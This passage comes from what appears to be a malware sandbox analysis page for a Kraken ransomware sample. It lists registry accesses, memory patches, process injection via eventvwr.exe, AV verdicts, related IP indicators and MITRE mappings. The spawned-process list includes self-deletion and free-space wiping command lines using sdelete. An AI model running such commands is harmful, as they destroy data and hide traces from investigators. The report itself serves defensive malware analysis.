"HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS")31:Ta00,".exe" wrote bytes "65488b0425d0140000" to virtual address "0xF3EB8C0B" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "65488b0425d0140000" to virtual address "0xF3EB8C4B" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "65488b0425d0140000" to virtual address "0xF3EB8C8B" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "65488b0425d0140000" to virtual address "0xF3EB8CCB" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "654c8b1c25c8140000" to virtual address "0xF3EB77AA" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "654c8b1c25c8140000" to virtual address "0xF3EB760D" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "654c8b1c25c8140000" to virtual address "0xF3EB78AD" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "654c8b1c25c8140000" to virtual address "0xF3EB7403" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "669065488b0425c8140000c366669066669090" to virtual address "0xF3EB5B40" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "eb11c366669066669066669066669066669090" to virtual address "0xF3EB5BC0" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "654c8b1c25c8140000" to virtual address "0xF3EB7480" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "65488b0425c8140000" to virtual address "0xF3EB7A60" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "4889114881fa18107e02722448c1e90a80b9c0607d1aff7502f3c3c681c0607d1affc366666690666666906666906690f3c3ff7502f3c3c60408ffc366666690f3c3666666906666669066669066669090" to virtual address "0xF3EB5F00" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "65488b0425c8140000" to virtual address "0xF3EB7A25" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "65488b0425c8140000" to virtual address "0xF3EB7A44" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "654c8b1c25c8140000" to virtual address "0xF3EB74FB" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "b3398d572be50000" to virtual address "0xF3C41D70" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "654c8b1c25c8140000" to virtual address "0xF3EB743F" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "654c8b1c25c8140000" to virtual address "0xF3EB755E" (part of module "MSCORWKS.DLL") ".exe" wrote bytes "65488b0425c8140000" to virtual address "0xF3EB863C" (part of module "MSCORWKS.DLL")32:Ta63,".exe" wrote 32 bytes to a remote process "C:\Windows\System32\eventvwr.exe" (Handle: 784) ".exe" wrote 52 bytes to a remote process "C:\Windows\System32\eventvwr.exe" (Handle: 784) ".exe" wrote 8 bytes to a remote process "C:\Windows\System32\eventvwr.exe" (Handle: 784) "eventvwr.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\krakentemp0000.exe" (Handle: 484) "eventvwr.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\krakentemp0000.exe" (Handle: 484) "eventvwr.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\krakentemp0000.exe" (Handle: 484) "eventvwr.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\krakentemp0000.exe" (Handle: 484) "krakentemp0000.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\tasklist.exe" (Handle: 1460) "krakentemp0000.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\tasklist.exe" (Handle: 1460) "krakentemp0000.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\tasklist.exe" (Handle: 1460) "krakentemp0000.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\tasklist.exe" (Handle: 1460) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 28) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 28) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 28) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 28) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\PING.EXE" (Handle: 132) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\PING.EXE" (Handle: 132) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\PING.EXE" (Handle: 132) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\PING.EXE" (Handle: 132) "cmd.exe" wrote 32 bytes to a remote process "C:\ProgramData\sdelete.exe" (Handle: 128) "cmd.exe" wrote 52 bytes to a remote process "C:\ProgramData\sdelete.exe" (Handle: 128) "cmd.exe" wrote 4 bytes to a remote process "C:\ProgramData\sdelete.exe" (Handle: 128) "cmd.exe" wrote 8 bytes to a remote process "C:\ProgramData\sdelete.exe" (Handle: 128)33:T12aa,Found malicious artifacts related to "216.239.38.21": ... URL: http://loadgame.tk/search/label/fighting%20games (AV positives: 4/67 scanned on 03/28/2019 06:02:32) URL: http://www.authorjanmarshall.com/it (AV positives: 1/66 scanned on 03/28/2019 05:59:47) URL: http://loadgame.tk/search/label/Hidden%20Object%20Games (AV positives: 4/67 scanned on 03/28/2019 05:59:43) URL: http://helpinghands.cc/ (AV positives: 2/66 scanned on 03/28/2019 05:50:27) URL: http://prettyinfiction.com/search/label/world%20building (AV positives: 6/66 scanned on 03/28/2019 05:49:06) File SHA256: 90b2d35cd5e08370ed20db81197dd9da1a4dbb421f71293fd5733ea49eb7b3e1 (AV positives: 1/56 scanned on 03/28/2019 03:30:24) File SHA256: 1916a0918f3127e62b29cf366551544803da6daf2c597abdca03f23bff6a9706 (AV positives: 46/67 scanned on 03/28/2019 05:54:55) File SHA256: 90d911ecaad34df52bb1f392d2654da3d1ab18ecbea8b30818b5d4970ffb25b9 (Date: 03/28/2019 05:38:26) File SHA256: dfe3e2598c253926bb9c724e3e6498bbcc914823c1e160aeec525186d80d4262 (Date: 03/28/2019 01:26:25) File SHA256: 92c99a9aee4690a4124d8e3d62b2d5a3bf6b81cbf5e37c33b48fe5cbfbab1808 (AV positives: 50/71 scanned on 03/27/2019 23:21:14) File SHA256: 8717ca222223ed79469237ff59669895ad8a66fc3514581fb5a7a795e92ece11 (AV positives: 48/67 scanned on 03/27/2019 22:34:34) File SHA256: 4cd9ba8634e98d709f7577c6296ecf4a4b85a7ce9dd766e34831c79da0b6ccd8 (AV positives: 51/68 scanned on 03/27/2019 13:21:44) File SHA256: 03f9632c5bbe9301220137b75d91aaaef18ba96bb64d55d2992996c385740292 (Date: 03/27/2019 20:06:09) File SHA256: c65d71497ec75d120439e1b382a7a8a5b4f69eb15d897e9539a35dffca022f9b (Date: 03/27/2019 15:27:53) File SHA256: 0e4681814e4c8fd3e335ed595239284cac3ace0068140d09e571c46bb86e3839 (Date: 03/27/2019 15:26:04) Found malicious artifacts related to "104.28.12.103": ... URL: https://up-vote.fun/fake/api/login (AV positives: 1/69 scanned on 03/27/2019 18:15:19) URL: http://blasze.tk/PJVUTR (AV positives: 1/69 scanned on 03/22/2019 19:37:29) URL: http://blasze.tk/FH14V7 (AV positives: 1/66 scanned on 03/22/2019 15:39:40) URL: http://blasze.tk/DIMZC6 (AV positives: 1/66 scanned on 03/20/2019 09:51:21) URL: http://security-alert-malicious-items-detected-errorx10000x1be.war33.xyz/chx (AV positives: 4/66 scanned on 03/18/2019 22:16:46) File SHA256: a703bab58c8f464e3f3489f3e6543bf2c31c7b63b06b71f7cd3db9cc61c3df47 (AV positives: 31/65 scanned on 03/08/2019 22:16:42) File SHA256: 0d153e9b74bf32951a653580558fbfce639fb2800199f0441400c895d2fb5dc4 (AV positives: 18/71 scanned on 03/08/2019 03:13:20) File SHA256: 2a84596286687b1e9888113db6fb3fdcba8f07d801bea0dfc61be3059d5ec1ea (AV positives: 43/70 scanned on 03/01/2019 20:31:43) File SHA256: dae7e2d8445386526aa7f927e0cfdf92d2667dbad3875e582db9cc902c946b56 (AV positives: 44/64 scanned on 03/01/2019 02:26:06) File SHA256: dec5d8aefedb9a2785d050b7c37ec9aec228be7fd858a79aa55cc69805bdb91d (AV positives: 45/64 scanned on 03/01/2019 02:27:10) File SHA256: 7ad0626f68a43a3639d738eed87747cd70958862716c4ba8ec9b05e879928a95 (Date: 11/23/2018 00:59:01) File SHA256: cae152c9d91c26c1b052c82642670dfb343ce00004fe0ca5d9ebb4560c64703b (Date: 11/01/2018 10:39:47) File SHA256: 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd (Date: 11/01/2018 10:39:03) File SHA256: 180406f298e45f66e205bdfb2fa3d8f6ead046feb57714698bdc665548bebc95 (Date: 11/01/2018 10:39:02) File SHA256: a33dab6d7adb83691bd14c88d7ef47fa0e5417fec691c874e5dd3918f7629215 (Date: 10/13/2018 06:53:09) Found malicious artifacts related to "152.199.4.33": ... URL: https://dist.nuget.org/win-x86-commandline/latest/nuget.exe (AV positives: 1/66 scanned on 03/27/2019 12:53:36) URL: https://dist.nuget.org/win-x86-commandline/v2.8.6/nuget.exe (AV positives: 1/66 scanned on 03/27/2019 09:20:27) URL: http://download.sysinternals.com/files/PSTools.zip (AV positives: 1/66 scanned on 03/26/2019 23:52:02) URL: https://download.sysinternals.com/files/SDelete.zip (AV positives: 1/69 scanned on 03/26/2019 18:53:03) URL: http://download.sysinternals.com/files/ProcessMonitor.zip (AV positives: 1/66 scanned on 03/25/2019 15:56:42) File SHA256: b9f404d4c7b6bf3a37746c66bcd014e75859d2fcf887b1db527ec3ed2ccdeb30 (AV positives: 3/72 scanned on 03/27/2019 14:44:51) File SHA256: 1237470f20713c1819db125fb8b9d9f79d8e2e8526dbac1f58ccecb4bc33fbdf (AV positives: 5/66 scanned on 03/27/2019 20:56:08) File SHA256: 8ce4faf183319164520fe5efd25fc302d8aef9ffffdf5945af9c945b49a98c69 (AV positives: 1/61 scanned on 03/26/2019 03:42:33) File SHA256: aa9bf58a84c78503c1e5feae9f0dce8f6867ebdf9cea1956564d051f4bcd651c (AV positives: 6/62 scanned on 03/26/2019 03:41:57) File SHA256: 954114b46d7102af358fc49b6259cb5902a6b8b7c304a0bddd739d61a6f432f5 (AV positives: 1/65 scanned on 03/25/2019 02:37:23)34:T45f,Spawned process ".exe" (UID: 00039638-00002612) Spawned process "eventvwr.exe" (UID: 00040012-00002060) Spawned process "krakentemp0000.exe" (UID: 00040041-00003972) Spawned process "tasklist.exe" with commandline ""tasklist" /V /FO CSV" (UID: 00045645-00003660) Spawned process "cmd.exe" with commandline "/C cd %ALLUSERSPROFILE%\ && release.bat" (UID: 00048584-00003904) Spawned process "cmd.exe" with commandline "/C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S "%TEMP%\krakentemp0000.exe"" (UID: 00048586-00002636) Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 3" (UID: 00048597-00003956) Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"" (UID: 00048598-00002336) Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v EulaAccepted /t REG_DWORD /d 1 /f" (UID: 00048611-00003548) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\sdelete.exe -c -z C:" (UID: 00048623-00000280) Spawned process "sdelete.exe" with commandline "-c -z C:" (UID: 00048629-00001384)35:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1a:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$22"}}],["$","$L23",null,{"initialData":{"schema_version":"1.0.15","sha256":"564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790266684331,"unified_at":"2026-09-24T16:18:04.331Z","metadata":{"hashes":{"sha256":"564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd","sha1":"9e967a759e894a83c4b693e81c031d7214a8e699","md5":"6ac062d21f08f139d9f3d1e335e72e22","sha512":"0a02068f6e22a41f4037d01882e32fc7bacf515818cf4f721960b987393da6b1d32ff4aa1b5fa73d546908cb85ded211061b37f4731ed643b8182909008a6892","ssdeep":"1536:0bPX/gJxDFgu02gM+LXbtQ5IxWwbglROAnbFmYVKCKclF:0cxz1gxXSNwbYcYVKhYF","ssdeep_chunks":["1536:0bPX/gJ","1536:bPX/gJx","1536:PX/gJxD","1536:X/gJxDF","1536:/gJxDFg","1536:gJxDFgu","1536:JxDFgu0","1536:xDFgu02","1536:DFgu02g","1536:Fgu02gM","1536:gu02gM+","1536:u02gM+L","1536:02gM+LX","1536:2gM+LXb","1536:gM+LXbt","1536:M+LXbtQ","1536:+LXbtQ5","1536:LXbtQ5I","1536:XbtQ5Ix","1536:btQ5IxW","1536:tQ5IxWw","1536:Q5IxWwb","1536:5IxWwbg","1536:IxWwbgl","1536:xWwbglR","1536:WwbglRO","1536:wbglROA","1536:bglROAn","1536:glROAnb","1536:lROAnbF","1536:ROAnbFm","1536:OAnbFmY","1536:AnbFmYV","1536:nbFmYVK","1536:bFmYVKC","1536:FmYVKCK","1536:mYVKCKc","1536:YVKCKcl","1536:VKCKclF","3072:0bPX/gJ","3072:bPX/gJx","3072:PX/gJxD","3072:X/gJxDF","3072:/gJxDFg","3072:gJxDFgu","3072:JxDFgu0","3072:xDFgu02","3072:DFgu02g","3072:Fgu02gM","3072:gu02gM+","3072:u02gM+L","3072:02gM+LX","3072:2gM+LXb","3072:gM+LXbt","3072:M+LXbtQ","3072:+LXbtQ5","3072:LXbtQ5I","3072:XbtQ5Ix","3072:btQ5IxW","3072:tQ5IxWw","3072:Q5IxWwb","3072:5IxWwbg","3072:IxWwbgl","3072:xWwbglR","3072:WwbglRO","3072:wbglROA","3072:bglROAn","3072:glROAnb","3072:lROAnbF","3072:ROAnbFm","3072:OAnbFmY","3072:AnbFmYV","3072:nbFmYVK","3072:bFmYVKC","3072:FmYVKCK","3072:mYVKCKc","3072:YVKCKcl","3072:VKCKclF","1536:0cxz1gx","1536:cxz1gxX","1536:xz1gxXS","1536:z1gxXSN","1536:1gxXSNw","1536:gxXSNwb","1536:xXSNwbY","1536:XSNwbYc","1536:SNwbYcY","1536:NwbYcYV","1536:wbYcYVK","1536:bYcYVKh","1536:YcYVKhY","1536:cYVKhYF"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"2018-10-04_19-37-40.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":100864,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1538650488000,"last_seen":1734657971000,"last_multi_scan":1734657971000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["ransomware","binder","bladabindi","coinhive","coinminer","coinstealer","crypt","crypter","downloader","filecoder","fynloski","genkryptik","iobit","kraken ransomware","kryptik","lightaidra","miner","njrat","rat","stealer","krakenrat"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":15},"sandbox_signatures":{"informative_count":31,"suspicious_count":26,"malicious_count":13,"total":70},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Ransom","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.SelfDel","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Generic.Ransom.KrakenD.6DE372BC","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Ransom_MacOS_Filecoder","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Generic.Ransom.KrakenD.6DE372BC (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/TrojanDropper.Agent.ECT trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005496a61 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Ransomware-kraken.a","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Filecoder.fiqifs","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Krakryp-A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Ransom/W32.DN-Kraken.100864","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/ABRansom.VKEJ-2657","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.AYE","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.MSIL.SelfDel","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_45.5","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.SelfDel.Win32.59656","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Ransom.KrakenD.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Exfiltration","technique":"Data Compressed","attack_id":"T1002","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"5bb5f1777ca3e1567c4a1b8d"},{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1035","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1035","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Start Folder","attack_id":"T1060","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1060","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Allocates virtual memory in a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1107","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","identifiers":[{"type":"malicious","value":"Tries to delete registry keys using reg.exe"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","identifiers":[{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Discovery","technique":"Query 